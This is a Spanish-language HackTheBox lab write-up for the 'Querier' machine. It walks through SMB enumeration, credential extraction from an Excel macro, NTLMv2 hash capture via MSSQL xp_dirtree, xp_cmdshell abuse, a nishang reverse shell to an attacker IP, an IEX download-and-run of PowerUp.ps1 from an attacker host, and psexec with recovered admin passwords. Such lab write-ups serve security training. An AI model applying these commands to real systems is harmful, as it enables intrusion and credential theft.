Writeup: Querier

Plataforma: HTB

Dificultad: Media

Fecha de resolución: 28/07/2025

Windows MSSQL Hash NTLMv2 SMB PowerUP

Descripción

Imagen de la máquina

Querier es una maquina que permite obtener recursos via smb, estos ayudan a obtener informacion valiosa para obtener acceso a la DB que posteriormente permite la ejecucion remota de comandos. Para la escalada de privilegios basta con utilizar PowerUp.ps1 que ayuda a la identificacion de credenciales del usuario admin.

Temas

• Network and Port Scanning

• Macro Inspection - Olevba

• MSSQL Hash Stealing (XP_DIRTREE)

• XP_CMDSHELL (MSSQL) Abuse

• PowerUp.ps1 Enumeration - Administrator Credentials Discovery

• Svchost.exe Service Abuse with InvokeServiceAbuse (Possible Privilege Escalation)

• RDP Service Activation with NetExec - RDP Intrusion

Reconocimiento

Inciamos comprobando si se tiene conectividad con la maquina

ping -c 1 10.10.10.125
ping

Enumeración

Enumeracion de puertos y servicios

nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.10.125 -oN Ports
nmap -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 -sCV -oN Portss 10.10.10.125
nmap

Tenemos bastantes servicios pero iniciaremos identificando posibles recursos compartidos mediante el protocolo SMB

smbmap -H 10.10.10.125 -u 'null' -p ''
smb

Tras la enumeracion se detecto que se esta compartiendo para todos el archivo currency volume report.xlsm, por lo cual, se procedera a realizar una descarga de este para su posterior inspeccion.

smbmap -H 10.10.10.125 -u 'null' -p '' --download 'Reports/Currency Volume Report.xlsm'
smb

Revisando el documento no tiene nada observable, se utilizara la herramienta olevba que se instala de la siguiente manera pip3 install oletools. Vemos que el documento tiene informacion interesante

olevba Report.xlsm
olevba

Tenemos credenciales de un usuario que gestiona la base de datos con el nombre reporting:PcwTWTHRwryjc$c6, se intentara realizar una conexion al servicio mssql con nexexec

oleva

Se utilizara la herramienta impacket-mssqclient que nos permitira ingresar a la base de datos.

impacket-mssqlclient WORKGROUP/reporting@10.10.10.125 -windows-auth
mssql

Explotación

Despues de realizar enumeracion con la herramienta mssqlclient.py, el usuario reporting no puede ejecutar comando con xp_cmdshell ni cambiar las configuraciones avanzadas para habilitar esta funcion. Por lo cual intentares utilizar xp_dirtree para intentar extraer el hash del usuario.

mssql

para la siguiente ejecucion, montare un servidor con smbclient.py y me pondre en escucha de autenticaciones smb para obtener un hash de posibles usuarios existentes.

impacket-smbserver smb $(pwd) -smb2support
xp_dirtree

y desde la maquina victima intentare solicitar un recurso a mi servidor de atacante que me permita obtener el hash de autenticacion.

exec xp_dirtree "\\10.10.10.10.\smb\"
xp_dirtree

Revisando mi servidor montado con smbserver, se logra obtener el hash del usuario mssql-svc

xp_dirtree

Tenemos una autenticacion como el usuario mssql-svc y su hash, intentare romper el hash y obtener las credenciales del usuario detectado.

john --wordlist=/usr/share/wordlists/rockyou.txt hash
mssql

Comprobamos credenciales

netexec smb 10.10.10.125 -u 'mssql-svc' -p 'corporate568'
mssql

Estas son conrrectas pero no tenemos el Pwn3d!, por lo cual intentaremos autenticarnos con este nuevo usuario a la base de datos y obtener la ejecucion de comandos con xp_cmdshell.

mssql

Despues de intentar ejecutar comandos, vemos que este usuario si puede gestionar las cofiguraciones avanzadas que permiten activar xp_cmdshell y obtenemos la ejecucion de comandos.

mssql

Utilizaremos nishang Invoke-PowerShellTCP.ps1, me permita interactuar con la maquina fluidamente.

Vamos a obtener esta utilidad del repositorio nishag

wget https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
mssql

Una ves que lo tengamos en maquina atacante, utilizare una funcion que la colocare al final del script que es “Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444”, modificare la ip y el puerto por mi purto e ip atacante.

Me montare un servidor para compartir el recurso y desde la maquina victima lo solicitare, una ves solicitado se ejecutara y me mandara una reverse shell a mi maquina de atacante.

mssql

Escalada de Privilegios

Utilizaremos PowerUp para realizar un mapeo de posibles formas de escalar privilegios.

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.8/PowerUp.ps1')
Invoke-AllChecks
powerup powerup

Detectamos credenciales del usuario administrator, realizamos la comprobacion.

netexec
impacket-psexec WORKWORUP/administrator:'MyUnclesAreMarioAndLuigi!!1!'@'10.10.10.125'
impacket-psexec

Pwned!

Relaciones con otras máquinas

Recursos

Referencias